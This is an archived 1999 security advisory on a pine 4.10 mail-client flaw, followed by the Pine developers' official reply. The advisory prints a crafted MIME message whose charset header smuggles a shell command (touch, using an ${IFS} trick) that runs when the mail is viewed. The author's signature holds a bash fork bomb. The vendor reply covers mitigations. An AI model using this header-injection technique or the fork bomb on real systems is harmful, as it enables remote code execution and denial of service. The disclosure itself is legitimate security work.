TUCoPS :: Unix :: General :: pine410.txt

[ http://www.rootshell.com/ ]
(NOTE: See the bottom of this message for the official response from the
Pine maintainers.)
Date: Mon, 8 Feb 1999 00:22:17 +0100
From: Michal Zalewski <lcamtuf@IDS.PL>
Subject: remote exploit on pine 4.10 - neverending story?
Affected systems:
-----------------
 Any Un*x system running 'pine' up to version 4.10 (latest).
Compromise:
-----------
 Remote execution of arbitrary code when message is viewed.
Details:
--------
 About five months ago, I reported vunerability in metamail package used
 with pine. I also noticed that '`' character is incorrectly expanded by
 pine. Problem has been ignored (probably noone understood what I am
 talking about?;-). But no matter. An exception from /etc/mailcap:
 text/plain; shownonascii iso-8859-1 %s; test=test "`echo %{charset} | tr
 '[A-Z]' '[a-z]'`" = iso-8859-1; copiousoutput
Impact:
-------
 And now, ladies and gentelmen - my old bug, reinvented. Usually, above
 mailcap line is expanded to:
 [...] execve </bin/sh> (sh) (-c) (test "`echo 'US-ASCII' | tr '[A-Z]'
 '[a-z]'`" = iso-8859-1)
 Hmm, but take a look at this message:
************************** MIME MESSAGE FOLLOWS **************************
>From: Attacker <attacker@eleet.net>
To: Victim <victim@somewhere.net>
Subject: Happy birthday
...
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319"
--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset='US-ASCII'
Make a wish...
--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c"
Content-Transfer-Encoding: BASE64
Content-Description: wish
Content-Disposition: attachment; filename="wish.c"
...it could be your last.
*************************** MIME MESSAGE ENDS ***************************
 The result is:
 [...] execve </bin/sh> (sh) (-c) (test "`echo '``touch${IFS}ME``' | tr
 '[A-Z]' '[a-z]'`" = iso-8859-1)
 ...and arbitrary code ('touch ME', encoded using ${IFS} trick) is
 executed when message is viewed.
Fix:
----
 Well, it's the second time I report problems with ` in headers.
 Maybe pine developers should wait a little longer ;-)
_______________________________________________________________________
Michal Zalewski [lcamtuf@ids.pl] [ENSI / marchew] [dione.ids.pl SYSADM]
[lunete.nfi.pl SYSADM] [http://dione.ids.pl/lcamtuf] bash$ :(){ :|:&};:
[voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
-----------------------------------------------------------------------------------
Pine Development Team (pine@CAC.WASHINGTON.EDU)
Many of you have inquired about a recent widely-distributed message
describing a "remote exploit in pine", specifically, a "vunerability in
metamail package used with pine" and a claim that the '`' character "is
incorrectly expanded by pine".
We believe the following to be true:
 o There is indeed a vulnerability in the default *mailcap* file
 distributed with the popular metamail MIME-support package.
 o This same mailcap file has in the past been included in Pine
 distributions as a sample; however, this sample file is not used by
 Pine unless it is manually installed and renamed.
 o While the metamail package *can* be used with Pine, Pine does not
 *require* the installation of metamail.
 o If a site chooses to install metamail, they should definitely expunge
 the dangerous entries from the default mailcap file. Such a corrected
 mailcap file is attached.
 o If correcting the system mailcap file is not immediately possible,
 users may wish to set Pine's "mailcap-search-path" variable to a
 personal mailcap file path. (See Pine's Main/Setup/Config screen.)
 o Everyone should beware of offered workarounds in the form of Pine
 patches that simply insert the shell-escape character before any
 substituted back-quotes, as this only results in moving the problem
 down one level of shell-nesting.
 o PC-Pine users are not vulnerable to these dangerous mailcap entries.
We do not agree that the '`' character "is incorrectly expanded by pine".
Rather, we believe that Pine correctly implements RFC-1524. However, it
is possible to modify Pine to preclude mailcap parameter substitution and
thereby avoid mailcap risks at sites where faulty mailcap files may be
installed. A patch to do this is attached. Obviously, this patch will
also break any legitimate mailcap entries that depend on parameter
substitution.
While one could modify Pine to guard against the particular exploit
permitted by the mailcap entries in question, it is very difficult to
conceive of a truly safe "paranoid mode" other than disabling parameter
substitution entirely. However, we suspect most people will find it far
easier to remove any unsafe entries from their mailcap configuration file.
Sincerely,
 Pine Development Team
 University of Washington